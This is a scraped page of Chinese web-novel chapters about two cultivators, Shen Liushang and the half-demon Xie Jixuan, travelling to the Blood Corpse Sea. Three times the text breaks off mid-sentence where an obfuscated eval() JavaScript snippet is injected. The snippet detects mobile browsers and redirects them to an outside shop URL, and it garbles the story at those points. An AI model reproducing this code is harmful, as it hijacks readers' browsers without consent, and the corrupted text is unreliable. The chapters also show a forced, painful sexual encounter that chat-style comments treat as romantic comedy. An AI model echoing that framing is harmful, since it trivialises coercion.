“谢济泫,”他开口,声音平静,却字字带着寒意,“安静跟着,或者滚。” “还有,别叫我主人。此地一别,你我再无瓜葛。” 说完,他不再看谢济泫瞬间黯淡下去的眼神,转身继续前行。 【用户“谢济泫”发送多条消息…】 【(系统提示:消息已被用户“沈流商”永久屏蔽。)】 系统君默默退场。 谢济泫最后还是跟上了沈流商的脚步。 然后撞到了突然停下来的沈流商。 远处天际线卷起昏黄的黑线,狂风呼啸而至,裹挟着毁灭性的气息。 沈流商瞳孔微缩,灵力瞬间流转于周身。 来了,就是这里。 寒光照影,百鬼夜行。 沈流商这一路上都在感受着这气息,寻觅而来。他就是要通过鬼门,抵达冥河,血尸海。 他的眼前忽然飘来一只纸鹤,它轻轻一颤,便化作一封书信出现。 “柳师姐和洛小师妹陷于幻境,危在旦夕,无法支援。师父吩咐,若试炼失败,则以死谢之。——长生天守门弟子。” 沈流商无语。 这破老头!等他回去扯光这老头的胡子! 一队鬼影正遥遥而来,阴森气息扑面而来,死气逐渐弥漫开,这片荒原上依旧天光炽烈,然而沈流商却感到一股刺骨的寒意自脚底窜上脊梁。 他只能借这一队小鬼的手被抓去血尸海。沈流商正欲踏步向前。 然而,一道身影比他反应更快。 谢济泫几乎是凭借本能冲了过来,没有多余的言语,一手迅速揽过他的肩背,带着他猛地扑向旁边一处巨大的岩柱后方。 沈流商被他带着踉跄几步,后背撞上坚硬的岩石,而谢济泫已经侧身挡在了他与鬼怪来袭的方向之间,同时单手结印,一道银白色的隐匿咒法如同轻纱般落下,将两人的气息与外界隔绝开来。 咒法成型,外面已是飞沙走石,昏天暗地,狭小的空间里却暂时安全,只剩下彼此有些急促的呼吸声。 沈流商被圈在谢济泫与岩石之间。他下意识想推开,却被谢济泫禁锢在怀里动弹不得。 谢济泫的注意力似乎全在维持咒法和警惕外界上,眉头微蹙,侧耳倾听着风沙的动静。 然而,过了一会儿,或许是调整姿势,或许是下意识的动作,他贴在沈流商后背的手掌微微动了一下,指尖无意识地擦过沈流商脊骨的线条。那触碰很轻,一掠而过。 沈流商身体僵了一瞬。 谢济泫似乎并未察觉,他的呼吸拂过沈流商的耳廓,眼神十分忠诚坚定:“我一定会保护好你的。” 沈流商识海中又出现叽叽喳喳的聊天。 【哎呀呀今日的风儿甚是喧嚣!(搓手手)】 【豹豹这反应速度,身体比脑子快啊,保护老婆刻进DNA了。】 【这个距离……这个姿势……嘶哈嘶哈!】 【手!刚才是不是动了一下?是不是?!我看到了!】 【楼上别吵,看破不说破,我们豹豹只是担心老婆站不稳(狗头)】 【宝子身体都僵了,啧啧,不愧是老夫老妻了,床头打架床尾和哦~】 沈流商抿紧了唇,声音不耐烦道:“放开!” 拜托,他拖着这副残破的身躯走这么老半天,就是为了这一瞬间,要是再迟一些,鬼门便要关闭了! 82. 副cp番外4 不知情的谢济泫将沈流商牢牢护在怀中,带着几分压不住的得意低声邀功:“别怕,它们发现不了我们。我反应快吧?” 沈流商心中冷笑,面上却如春雪初融,非但没有斥责,反而微微仰起脸,眸光水色潋滟,轻轻“嗯”了一声,嗓音比平日低软些许:“你做得很好。” 这细微的变化,如同石子投入平静湖面。谢济泫一时怔住,几乎怀疑自己听错看错。这人……非但没生气,竟还回应了他? 就在他心神摇曳、警惕松懈的刹那—— 沈流商动了。 他看似是因紧张寻求依靠,微微抬起被谢济泫箍在怀中的那只手,指尖带着似有若无的轻颤,抚上对方支撑隐匿阵法的手臂内侧。 那里,恰是灵力运转至阵眼的必经之处。 微凉细腻的触感掠过,如蝶翼拂过。谢济泫呼吸一滞,全身注意力都不受控制地汇聚于那一点接触。 “你、你要做什么?”谢济泫抓住他的手,语气有些按捺不住道。 沈流商:“……” 他深呼吸,仿佛豁出去了一般,笑意盎然地抚上谢济泫的胸膛:“怎么,不喜欢么?” 这感觉……莫名熟悉。 谢济泫脑中倏地闪过一些模糊片段:似乎也是在某个昏暗的洞窟,沈流商曾这般状似亲昵地握住他的手腕,继而得逞似的一笑…… 谢济泫呼吸有些急促,按住了他那只不安分的手,面带娇羞道:“你喜欢……在这里?那我、我轻一些?” 沈流商:“……”算了,演不下去了。 他眼底忽的寒光乍现,抚过谢济泫手臂的指尖,轻轻一点。 一声似哭似笑、调子古怪的尖锐鬼啸响起,只见一道枯瘦如柴、脑袋却奇大无比的鬼影,像嗅到鱼腥味的猫,以一种扭曲却迅捷无比的姿势,连滚带爬地直扑他们所在。 “噗嗤!” 隐匿光纱应声破裂,出现一道口子。阴冷死气狂涌而入。 谢济泫脸上那点因沈流商“柔顺”而生的恍惚,瞬间被惊愕取代。他的阵法……怎会…… 沈流商同时释放自身灵息,吸引更多小鬼从裂隙中争先恐后地钻进来。 这些鬼形态各异,有的舌头拖地,有的眼睛长在手掌心,此刻却统一咧着夸张的大嘴,发出“嘻嘻哈哈”、“呜呜嗷嗷”的混乱声响,手舞足蹈地涌来,透着一种诡异又滑稽的热闹。 一只踮着脚尖、脖子伸得老长的小鬼伸出鬼爪,迅速地探向这块“香饽饽”。 沈流商要的正是谢济泫这心神失守的瞬间。他猛地挣脱那松懈的怀抱,非但不退,反而巧妙地调整身形,几乎是“主动”将手腕迎向了那只鬼爪。 冰冷的触感瞬间锁住腕骨,巨大的拉扯力传来。 “呃!”沈流商顺势向前倾去,衣袂翻飞。 “不!”谢济泫回过神来,肝胆俱裂,伸手欲抓。 就在他指尖触碰到沈流商手腕的刹那—— 一股难以言喻的震荡感猛地冲击着他的魂魄,识海深处仿佛有什么东西正在疯狂叫嚣、冲撞。无数混乱的念头不受控制地涌现: 救他!一定要救他! 不能让他被带走! 不惜一切代价! 这强烈的意念如同烈火般灼烧着他的神识,鎏金色的眼眸深处,一点猩红骤然亮起。 周身气息陡然一变,之前的惊愕慌乱消失不见,取而代之的是一种深不见底的冰冷与威严。握住沈流商手腕的五指猛地收紧,力道之大,几乎要捏碎对方的腕骨。 沈流商吃痛蹙眉,惊疑不定地看向突然判若两人的谢济泫。 “滚远……”他刚吐出一个字,便对上了那双血色眼眸。 “沈流商……”谢济泫开口,声音低沉沙哑,勾起唇角,只是那笑意未达眼底,浸透冷意,“还是沈酌清?” 沈流商心底一沉。 流商,抑或是酌清。 为何是流商,又为何是酌清? 他本该是那个整日提笼架鸟、茶园听戏,闲时写几卷话本,做个—— “心安身自安,身安室自宽……谁谓一室小,宽如天地间。” ——做个无牵无碍、只知醉月评花的纨绔。做个阖家团圆、不识愁滋味的平头百姓。 可如今,他在这里,在这里做什么呢? “试炼……必须完成……不然,他们就不要我了。回去,得赶快回去!母亲、姐姐……她们在等我!” 话音未落,“谢济泫”猛地将沈流商往自己怀中狠狠一带,同时另一只手凌空一握,巨大的灵力风暴便以他为中心轰然炸开。 扑来的小鬼们连惨叫都来不及发出,便在触及那力量边缘的瞬间化为飞灰。 脑内聊天群瞬间爆炸。 【啊啊啊啊!是1.0阿济!我们有救了!】 【抱一丝0.5小宝,妈妈更喜欢刺激一点的嘻嘻~】 【沈宝怎么还僵着,快亲亲你老公!】 沈流商被他死死禁锢在怀中,挣扎不得,只能感受到那具胸膛下传来的有力的心跳。他试图调动灵力,却发现周身气机已被对方身上散发出的无形灵场完全压制。 “谢济泫”低下头,血色的眼眸深深望进沈流商惊疑不定的眼神里,指尖抚上他颈侧脆弱的血脉,似乎是在感受着其下温热的跳动。 他抬起另一只手,缓缓按在了自己的心口。那个位置,隔着衣料,仿佛能感受到某种共鸣的、细微的刺痛。 “小公子,”“谢济泫”又加深了抱着沈流商的力道,一颗脑袋深深埋进了他的颈窝里,轻轻地用鼻尖蹭蹭他的脸颊,却依旧是平静得如深谭一般的神色。 他灼热的呼吸洒在沈流商的后颈,低声开口,声音平稳得没有一丝起伏,像是在自言自语。 “你回来了,却不再是‘祂’。或者说……从来都不是?……” 最后一句消散在凝固的空气里。“谢济泫”脸上的那抹极淡的笑意也随之隐去。 思绪回到现在,翻滚的魔气凝固了,狰狞的魔物僵住了,连空气都仿佛被冻结,真真是落针可闻。 沈流商被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576371|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀抱着,两人矗立在废墟与混乱中央,衣袍在未平息的能量余波中猎猎作响,背影却透出一种异常的僵硬。 然而,这极致的静默只持续了短短一瞬。 若有似无地,身前的人极轻地吸了一口气,仿佛被那血腥气呛到。 “流商?”谢济泫脱口而出,带着难以置信的恍惚。这名字唤出口的瞬间,心尖竟无端一颤。 他的眼睛已经变回原先的金色。 “沈流商?”他再次重复,眼神迷离混乱,仿佛在努力捕捉脑海中飞速闪回的碎片光影,那些画面模糊却又如此熟悉。 正当沈流商凝神戒备时,却见谢济泫眼神倏然一亮,他猛地抓住沈流商的手臂,语气轻快。 “主人!我刚刚好像灵魂出窍了一样,飞起来游览了湖海、云瀑……还看到了一个仙女娘娘!” 沈流商:“……”心底绷紧的弦被这声突兀的“主人”和不着边际的话语狠狠一牵动,他面无表情地看着对方。 谢济泫浑然不觉,继续绘声绘色地描述,指尖还在沈流商腕间无意识地摩挲着:“那仙女娘娘牵着我的手,周围棠梨花纷纷而下,像是下了一场雪……” “闭嘴。”沈流商忍无可忍,几乎是立刻就会料到他下一句要说些什么,试图打断这令人头皮发麻的“回忆”。 然而谢济泫不依不饶,反而就着他后退的势头俯身逼近,温热的气息几乎拂过沈流商的耳廓,压低了嗓音,带着几分狡黠的笑意:“他说……要带我去看''花朝祭''。” 两人距离极近,呼吸可闻。谢济泫垂眸,目光落在沈流商微微抿紧的唇上,眼底翻涌着深沉情绪,语气却轻佻得像是在调笑。 “不晓得那位……偷走我魂儿的仙女娘娘,如今可还记得否?” 沈流商心头一凛,试探性地冷声问:“你……在说什么?” 谢济泫闻言,眼底笑意更深,几乎要满溢出来。他毫不犹豫地应道:“我记起我们前世有一桩好姻缘。” 他刻意顿了顿,在沈流商手心里画着圈,而后才慢悠悠地,带着某种缱绻又危险的意思,低唤了一声。 “流商。” 这两字如同惊雷炸响在沈流商耳边。他眸中寒光一闪,不再犹豫,另一只空着的手握拳,毫不留情地直接砸向谢济泫的脑门! “砰”的一声轻响。 “哎哟!”谢济泫吃痛,立刻松手捂住额头,那副深沉暧昧的姿态瞬间瓦解,取而代之的是龇牙咧嘴的委屈模样,“你、你这人下手也忒毒了!” 他看着沈流商冷若冰霜的侧脸,揉了揉发红的额头,仿佛刚才那个玩弄风月的人不是自己一样。 眼前的谢济泫,眼神清澈又茫然,嘴里还小声嘟囔着:“不就是叫了声''流商''嘛,梦里明明可以的……” 沈流商看着他这副熟悉的、带着点傻气的委屈样,心头那点疑虑和紧张顿时被一种无力感取代。 还是那个不着调的二傻子。 他反而松了一口气。“快、快走!”忽的,一道血色身影跌跌撞撞地奔向这里。 83. 副cp番外5 【修复花妖副本?】 【破除花妖幻境?】 【隐藏剧情挖掘进度68%,世界背景信息已解锁,相关卷宗已载入宿主识海……】 天地初分,三分而立:凌霄神族居上,灵族镇守四方,人、魔、妖、鬼并生于世间。 凡有天地处,必生灵蕴,日久成守护之灵,即为“灵族”。他们生于斯,长于斯,血脉与所守之地共鸣,代代不绝。如沧澜灵族镇从极之渊,东海龙族御四海之水,鸾鸟一族护都广之野,皆是如此。 盘古开天辟地之后,山川河海焕然一新,新灵亦随之而生。他们承父神遗泽,如蒙神启,被尊为“神子”。由此,灵族中新分一支,谓之“山灵族”。 欲为山灵,须受神罚考验,更须得先代守护者以神谕或圣器认可,方可成为神侍,继任镇守之责。一旦受命,便与山河同寿,永护一方。 所有山灵候选,皆归“长生天”管辖。每百年举行灵泽大比,各族仅可推举一人入长生天修习,竞逐天命。 诸如霞西山云瑛一脉、姑媱山瑶姬一脉……皆循此例。 【“故大夏朝设缉妖司,信巫鬼,重祭祀,皆源于此。”】 “说完了没?” 柳知微靠坐在阴湿的地牢墙角,耳边是系统絮絮叨叨的提示音。隔壁牢房里关满了低阶修士和凡人,几个面目狰狞的小鬼时不时钻进来晃荡两圈,惹得那群人哭嚎推搡,缩成一团。 “我到底什么时候能出去?” 她已经在这鬼地方待了不知多久。三天前破除花妖幻境后力竭昏迷,醒来就发现自己被扔进了这暗无天日的地牢。系统在她脑子里唠叨了三天,一会儿是背景设定,一会儿是任务奖励,没一句说到重点。 【宿主,完成副本有双倍奖励!还能解锁关于‘柳清圆’人设崩坏的隐藏线索!集齐七条即可完全破解女主身份秘密——这绝对是关键翻盘机会啊!】 【而且花妖本体未灭,她的灵魄寄生在血尸海的弟弟身上。只有除掉他,副本才算真正完成,您才能离开这里……】 放在以前,听到“双倍奖励”柳知微早就跳起来了。可如今她心里空落落的,像被挖走了一块。三日前幻境里那个身影总在眼前晃,明明看不清是谁,却让她胸口闷得发慌。 那天,是“柳师姐”救了她。 那个顶着柳清圆的脸,却感觉全然不同的人。不知用了什么方法,竟强行撕开了幻境与现实的缝隙,在她即将被花妖最后一击吞噬时赶到。后来阵眼被破,花妖溃散,她们却被时空乱流卷入此地。 “柳师姐”为护她身受重伤,如今化作一个巴掌大的青衣布偶,正静静躺在她的乾坤袋深处调息。 现在,只剩她自己了。 “少废话,”柳知微揉了揉发胀的太阳穴,“把副本详细信息调出来。这个boss,我杀定了。” 因为这个副本,让她很不爽。 地牢里弥漫着霉味和血腥气。隔壁的哭闹声越来越大,有人为半块发霉的饼子厮打,有人因魔气侵蚀蜷缩呻吟。在这片混乱中,唯有角落一道身影始终安静。 那人一袭简素衣衫,独自靠墙坐着,闭目凝神,与周遭的恐慌绝望格格不入。偶尔有小鬼凑近,还未触及,便被一层无形气息震开。 柳知微瞥了他一眼。 看来这牢里,也不全是待宰的羔羊。 她缓缓握紧袖中短刃,冰凉的触感让心神渐稳。系统光屏在眼前展开,血尸海的地图与怪物情报一行行浮现。 得尽快出去。 然后,去找那个“弟弟”。 【副本:镜花水月】 【主要目标:诛灭花妖灵魄(寄生体)“白露”】 【地点:血尸海】 【状态:进行中】 …… 三日前,血尸海边缘。 快走!”一道血色身影跌跌撞撞地冲了过来。 沈流商松开谢济泫的衣襟,看向来人。对方身着长生天内门服饰,衣摆上丹青水墨的远山纹路间,隐隐泛起护身咒文的金光。 “是长生天的同门。”沈流商刚开口,那人却猛地双目翻白,直挺挺向前栽倒。 “快走……这里有阵法……”昏厥前,那人用尽最后力气嘶喊道。 四周景象骤然扭曲,一潭血水凭空浮现。水面沸腾般涌起无数血泡,宛如打开了地狱之门。 本已倒地的那人竟猛地弹起,双眼赤红,颈骨发出“咔咔”怪响,死死盯住沈流商。 “灵族……”他的声音嘶哑变形,“都得死!” 沈流商指尖金光闪现:“醒醒!”可驱邪符刚触及对方,便“嗤”地化作黑烟消散。 “没救啦,魔血已经浸透灵脉了。”谢济泫顶着一张被揍得青紫的脸,竟还能咧嘴傻笑,“快跑吧,夫君!” 沈流商额头青筋一跳:“你再叫一句试试?” 他如今灵力未复,能指望的只有谢济泫。他一把扯过谢济泫:“救他!” 谢济泫摸了摸脸上的伤,掏出块不知哪来的帕子,委委屈屈地抹着眼角,努力瞪大那双湿漉漉的眼睛。 “他是谁?你在外面还有别的男人?我可是打小就跟着你了,你、你居然让我去救那个野男人?负心汉!” 沈流商咬牙:“救他,我……随你怎样。” 谢济泫眼睛一亮:“小公子?” 沈流商:“嗯。” 谢济泫声音大了些:“小哥哥?流商?” 沈流商挤出一个假笑:“有事?” 谢济泫搂住沈流商的脖子,吧唧一口亲在颈侧,还轻轻咬了一下,欢快地蹭了蹭。 “流商流商流商流商……” 一旁魔化的道友:“……” 沈流商:“……”就在他忍无可忍准备动手时,谢济泫终于收了戏。 看着步步逼近、状若疯魔的灵族,谢济泫低低笑了一声。 他慢条斯理地解开血迹斑斑的外袍,露出心口处那枚愈发灼亮的波浪纹印记。 “想要这个?”他声音轻缓,带着奇异的蛊惑,“我与他结了契,如今也算是灵族。” 他忽然抓起沈流商的手腕,引着那只手按在自己胸膛正中。衣襟早已松散,暗色印记暴露在微凉的空气里,随呼吸起伏。 “来拿啊。” 他的目光懒洋洋地落在那灵族身上,眼底藏着挑衅。 寒潭深处猛地伸出无数惨白骨手,齐刷刷抓向那人。细看之下,骨手上缠绕的幽暗印记,竟与那灵族颈间的锁链纹路一模一样! “魇·缚骨!” 灵族发出非人的嚎叫,骨手爆发出恐怖巨力,将他狠狠拽向潭底。水面翻涌片刻,终归死寂。 “不敢吗?”谢济泫偏了偏头,眼中杀意纯粹。 “我是要你救他。”沈流商出声制止。 谢济泫调皮地吐了吐舌头,手指轻勾。 一群血鲤幻化的浮桥将重伤之人托回岸边。沈流商迅速为其贴上传送灵符,又化出一只纸鹤传出消息。灵符泛光,那人身影渐渐消散,这道符会将他送回长生天,也意味着此次试炼失败,须待百年后再战。 沈流商收回目光。他此刻同样重伤在身,若想独闯魔窟,几乎不可能,方才那同门的惨状便是前车之鉴。 可他不能退。他不容许失败,宁愿死也不愿被遣返回族。物竞天择,拜入长生天、成为首席,是他毕生所求,容不得半点差错。 临行前师父的叮嘱犹在耳边。 那时他将长剑重重插入土中,震落几瓣桃花。 “师父,闭关三月,我又失败了。”他声音紧绷,“都说修道要避因果,我斩断尘缘,不与人往来,一心修炼,为何毫无进益?” 怀崖长老在摇椅里吱呀作响,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576372|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮都没抬。阳光透过桃枝,在他青灰道袍上跳动。 “你避的只是与他人的因果。”老头慢悠悠开口,蒲扇指了指他心口,“可对自己呢?每一次起心动念,每一次抉择进退,都是因果。” 沈流商怔住,剑穗在风中轻摆。 怀崖睁开半只眼:“落子无悔。你选择孤独,这选择本身已是因果——你正在修与孤独相处的道。” 一片桃花打着旋,落在他肩头。 “不是因果躲着你。”怀崖合上眼,声音渐模糊在春光里,“是你躲着你自己。” 摇椅吱呀,像哼着一首陈年的歌。 弟子望着肩上那抹淡粉,若有所思。 他抬眸看向谢济泫。的确,这一路若无那心魔的意外,动用秘法后,他一时虚弱,或许早已死在谢济泫手里。 而留这魔物一命,不过是因为那要命的同心契,他从未想过要善待谢济泫,更没从心底接纳过妖魔之类。若他能为己所用,便是同道;若成软肋,便是殊途。 即便这相遇是灵族印记的指引,即便是因果缠绕的道侣…… 他也可以舍弃。 谋事在人,天定的不算。 “谢济泫。”他淡淡开口。 心底无声补了一句:我对你不起。 谢济泫望向他:“流商?” “我不高兴了,”沈流商歪了歪头,眼底情绪晦暗不明。“你总是惹我生气……你怎么就这么讨人厌?” “嗯……”谢济泫不确定地应了一声,生怕又惹恼他。 “你不是知道怎么让我高兴吗?” 话音未落,沈流商已吻了上来。 那不是温柔的触碰,而是一场猝不及防的侵袭。唇瓣微凉,带着霜雪与剑气的气息,却烫得谢济泫心口一颤。他能感觉到对方细微的颤抖,那不是犹豫,而是某种近乎决绝的确认。 沈流商扣住谢济泫的后颈,指尖陷入发间,力道强硬。他撬开齿关,长驱直入,吻得毫无章法,只有孤注一掷的需索,仿佛要从这纠缠中汲取支撑,确认真实。 谢济泫怔了一瞬,喉间溢出一声低哼,随即反客为主地迎了上去。他尝到血腥气,还有更深处的……回应激烈,带着惯有的掠夺性,却在某个瞬间奇异地软化下来,舌尖轻轻扫过,带着安抚的意味。 气息彻底乱了。血腥、尘土、桃花香,还有彼此滚烫的温度。沈流商的睫毛擦过谢济泫的脸颊,痒而真实。他闭上眼,所有紧绷的、孤高的外壳,在这个吻里裂开细纹。此刻他不再只是求道者,而是绝境中抓住一团火的人。 谢济泫将他搂得更紧,几乎揉进骨血。两颗心急促跳动,撞在一起,分不清彼此。他在这个吻里尝到近乎疼痛的滋味,还有一丝沈流商自己都未曾察觉的脆弱。 许久,沈流商微微后撤,结束了这个吻。他唇色红润许多,气息微喘,眼底冰封的寒光被搅动,泛起潮湿的亮色。 他仍贴着谢济泫的额头,鼻尖轻蹭,声音低哑:“现在……知道了?” 谢济泫看着他近在咫尺的眼睛,那里映着自己灼热的影子。他咧嘴笑了,脸颊的伤被扯得发疼,笑容却灿烂得有点傻气。他舔了舔唇,那里被撕扯出血丝。 “知道了。”他声音沙哑,带着懵懂的笑意,指尖拂过沈流商微肿的下唇,“小公子。” “阿济……” 沈流商忽然压低声音,叫得亲昵又缠绵。指尖绕上对方腰间垂落的绦带,慢悠悠地打转。 被唤的人眼睫一颤,抬起时撞进一双笑眼里。那眼里藏着钩子,漾着桃花潭水般的波光。 “我们……”他凑得更近,温热气息拂过对方耳廓,刻意放慢的语调像在舌尖滚过蜜糖,“双修吧。” 尾音落下时,绦带已被松松扯开一半。周围忽的出现一座宫殿,这是沈流商的灵识空间。殿内熏香袅袅,将他眼底的深意衬得愈发滚烫。 84. 副cp番外6 血色月光蜿蜒淌入地底深处,将嶙峋小道照得一片森然。沈流商跟在谢济泫身后,他脸色不太好,一半是累的,一半是气的。 谢济泫走在前面,耳根也带着薄红,手里拿着颗照明珠探路,眼神却总往沈流商身上飘,目光黏糊糊的,意犹未尽。 沈流商闭了闭眼,觉得额角突突直跳。 “夫君,小心台阶。”谢济泫的声音从前头传来,带着点刻意讨好的劲儿。 沈流商咬着后槽牙,硬邦邦丢出两个字:“带路。” 他还想叫谢济泫别再喊“夫君”,可话到嘴边又咽了回去。若真让那人直呼自己名字……光是想象一下那声调,他便无端打了个寒颤,连脊背都泛起一阵密密的恶寒。 他实在想不通,事情怎么就发展成了这样。 更烦的是,那些只有他能听见的议论声,又在耳边嗡嗡响起。 【进去了进去了天啦噜!我就是为了这个才活到18的!】 【沈仙君不要拉着脸嘛,吹吹痛痛飞~屁屁不痛不痛哦~】 【谢小狗你捅够了没有!守护我方沈宝的屁屁!】 【?楼上哪来的卖开塞露的,笑不活了。】 沈流商的脸黑得像锅底。 与此同时,久违的几行字冷冷浮现在他眼前。 【甜度值:100/100;治愈进度:进行中;灵力恢复:100/100……解锁恋爱栏!】 【恋爱栏】 关系状态:逢场作戏 当前相处模式:冷战中 原因:双修尝试未果 技术评估:双方经验均严重不足 【备注:谢济泫方缺乏有效指导,实践协调性差。】 沈流商差点气笑。经验不足?那简直是……灾难。 “好嘞!”谢济泫那边却应得轻快,脚步都带着点飘。 沈流商心里一片冰凉。 他感受着心底那阵阵清晰的雀跃——那是同心契传来的回响,道侣双方心意相通,将心比心。 这阵情绪源于谢济泫,是发自他内心的欢喜。沈流商对此了然,却也庆幸谢济泫尚未成为真正的灵族。 只因这同心契还未得到天地祝证。道不同不相为谋,二人种族各异,未经天地认可的契约,终究作不得数。就算此刻无法解开,沈流商也不会被谢济泫彻底绑缚。 双修失败,也是这一结果。 他已经给过机会了,是谢济泫自己……不开窍。沈流商本就是为顺着这心魔行事,以换取快快医治伤势,好快快完成试炼,却没有想到,谢济泫这块木头…… 总之他们不能再做道侣了,若当真为道侣,以后双修一事不可避免,而经过这一遭,沈流商已经绝望了。 怎么有人技术能差成这个样子?!都快成了他一辈子的阴影了。 想起不久前在灵识空间里的事,沈流商那股闷气又堵了上来。 时间倒回。 宫殿幻境,灵气氤氲。 这处也是幻化而出,陈设简单,一张宽榻,几案香炉。月凝花的幽蓝光华透过窗格,给室内镀上一层冷调的光晕。 谢济泫从后面贴近,胸膛挨着沈流商的背,一只手越过他肩头,在墙壁上摸索着什么。呼吸喷在耳后,又热又痒。 “别动,”谢济泫压低声音,“快找到了。” 他指尖触到墙面一处极细微的灵力节点。 “噗”一声轻响,像戳破了个泡泡。 紧接着,一股被空间压制的、更为躁动的灵力反冲出来,两人身体同时一震,被那股力量撞得紧贴在一起。混乱的灵气裹着谢济泫身上特有的、略带血煞的气息,弥漫开来。 沈流商喘息着,想要挣脱谢济泫的怀抱,却受到了更严厉的禁锢,他的气息不足,断断续续道:“去……床上……” “不要,”谢济泫的嘴唇几乎贴上他耳尖,声音低哑,随即竟一口咬在沈流商颈侧,“那里软塌塌的,不安全,也使不上劲。” 沈流商闷哼一声,被他牢牢箍在怀里。“……松手!”他偏头想躲,却被箍得更紧。 “不是说好了听我的?!你听不懂人话是不是?!” 谢济泫低笑,一只手转而捂住他的嘴,指腹擦过他下唇。“偏不。”他盯着沈流商因喘息起伏的胸口,眼底是毫不掩饰的渴望,还有……显而易见的生涩。 “偏不听。” 沈流商感到颈侧先是一痛,随即被温热的舌尖舔过。伤口在灵力作用下很快愈合,只留下挥之不去的麻痒。 谢济泫稍微退开一点,静静看着他。鎏金色的眼睛在幽蓝光晕里显得格外亮,嘴角微勾,像是在欣赏自己的“杰作”。 “谢济泫。”沈流商试图让他清醒点,声音有些哑。 谢济泫不答,只伸手拨开他额前微乱的发丝。 “阿济。”沈流商换了称呼,想召回他的理智。 对方依旧沉默,眼神却更沉。 沈流商暗自吸了口气,眼底勉强浮起一点无奈,尾音放软,带了点引诱的哄:“泫……阿济,亲亲济儿?先放开,好不好?” 他微微抬眼,对上那双近在咫尺的金瞳,用一种近乎天真的,新近发现的语气,轻轻开口:“原来你的眼睛这么好看……乖乖听话好不好?我给你……” “亲”字还没有说出口,他便被强硬地捂住了嘴唇。 “唔!” 整个幻境宫殿微微一震,沈流商喉咙里溢出一声压抑的闷哼。更混乱的灵力波动从他们触碰的节点反涌回来,像无形的浪潮般,拍打着本就脆弱的结界。 “是这里,对不对?”他听到谢济泫略带低喘的声音在他耳边响起。 每一道波动,都像砸在沈流商灵魂深处,震得他灵力翻腾,手脚发凉。 完了,完了,完了…… 接下来发生的一切,沈流商永远不会忘记。 很痛。 好痛。 痛到快要死去了。 这种痛,比修炼进阶失败的反噬更钻心,比在大荒被妖物撕裂血肉更彻骨。每一下冲撞都能激起全身的抗拒,疯狂叫嚣着逃离。 沈流商本是极能忍痛的人。修炼的苦,反噬的伤,他都默然咽下,一声不吭。历经太多,他以为自己的耐性早已磨成铁石,再不会为何所惧。 可此刻,他却悬在崩溃的边缘。心里竞翻涌起一股可悲的怜悯——怜悯自己,怜悯这不堪的处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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终难长久。 他不会让往事重演。 此生不再求道侣。 手腕上的赤纹微微发烫。 谢济泫的唇终于移到他耳边,呼吸粗重,带着未尽的情动,却还是说不出完整的话,只有破碎的呢喃:“流商……” 沈流商忽然极轻地笑了一下。 他眼尾还染着情动的薄红,眸光流转间,竟透出种惊心动魄的意味。他主动仰起脸,用脸颊蹭了蹭谢济泫汗湿的下巴,声音轻得像叹息,带着纵容,也带着一丝浅浅的悲凉。 “嗯,我在。” “别看……”他另一只手腕轻轻动了动,赤纹在阴影里闪烁,“不好看。” 谢济泫动作停了一下,鎏金眼眸深深看进他眼底,那里的混乱和欲望好像褪去了一星半点,浮起一丝困惑,像是不明白他为什么这么说。 随即,困惑被更深的暗色覆盖。他握住沈流商的手腕,不容反抗地拉到唇边,在那圈赤纹上印下一个滚烫的吻。 “好看。”他哑声说,语气执拗,“我的。” 沈流商没说话,只是在那略显笨拙的亲吻里,缓缓闭上了眼睛。 “怎么还不醒……” 月光透过高窗,沉默地洒进空旷的宫殿,落在两人交缠的身影上。 …… 不知多久以后,沈流商灵力恢复了些,两人终于商量着施展计划溜进鬼门。 沈流商强迫自己移开视线,专注于周遭环境。 85. 副cp番外7 错过了鬼门开的时辰,他们便只能走那条凶险的捷径。自大荒入幽都,这条路上厉鬼横行,稍有不慎便是神魂俱灭的下场。 《山海志》有载:“北海之内,有山,名曰幽都之山,黑水出焉……有大幽之国。” “凭黑水为引,入大幽之国,血尸海即现。”沈流商运转灵力,淡蓝色光晕自周身泛起,竭力抵御着刺骨寒意。 以那“双修”为系,灵力虽已恢复大半,但体内经络间,尤其是那隐秘之处残留的酸软钝痛与异样感,依旧鲜明。 谢济泫似乎感知到他的不适,立刻想要凑近搀扶,指尖刚触到沈流商的袖角,就被对方猛地挥开。 “离我远点。”沈流商声音压得极低,浑身气息降至冰点,“谢济泫,你当真不知自己方才做了什么?” 他所言“双修”,本意不过是借灵力流转平复内息,谁知刚脱了衣裳,这混账骤然发难,将他死死抵在地板上,动作蛮横急切,与平日温良痴缠的模样判若两人。那一刻,沈流商看到的不是熟悉的金眸,而是深渊般的猩红。 谢济泫被挥开的手僵在半空,他眨了眨眼,浓密睫羽垂下,再抬起时,竟是一片湿漉漉的无辜:“流商……不是你说,可以那样帮你疗伤的吗?”语气带着小心翼翼的委屈,“我看到你很难受……” “闭嘴!”沈流商气得眼前发黑。跟这个灵智时全时缺的半魔讲道理,简直是对牛弹琴!到头来只能恼恨自己一时心软,卸下防备,还把清白搭了进去! 冰冷的目光掠过谢济泫那双澄澈的金眸,忽然想起对方失控时眼底一闪而逝的骇人猩红,与鬼门洞开那日所见如出一辙。 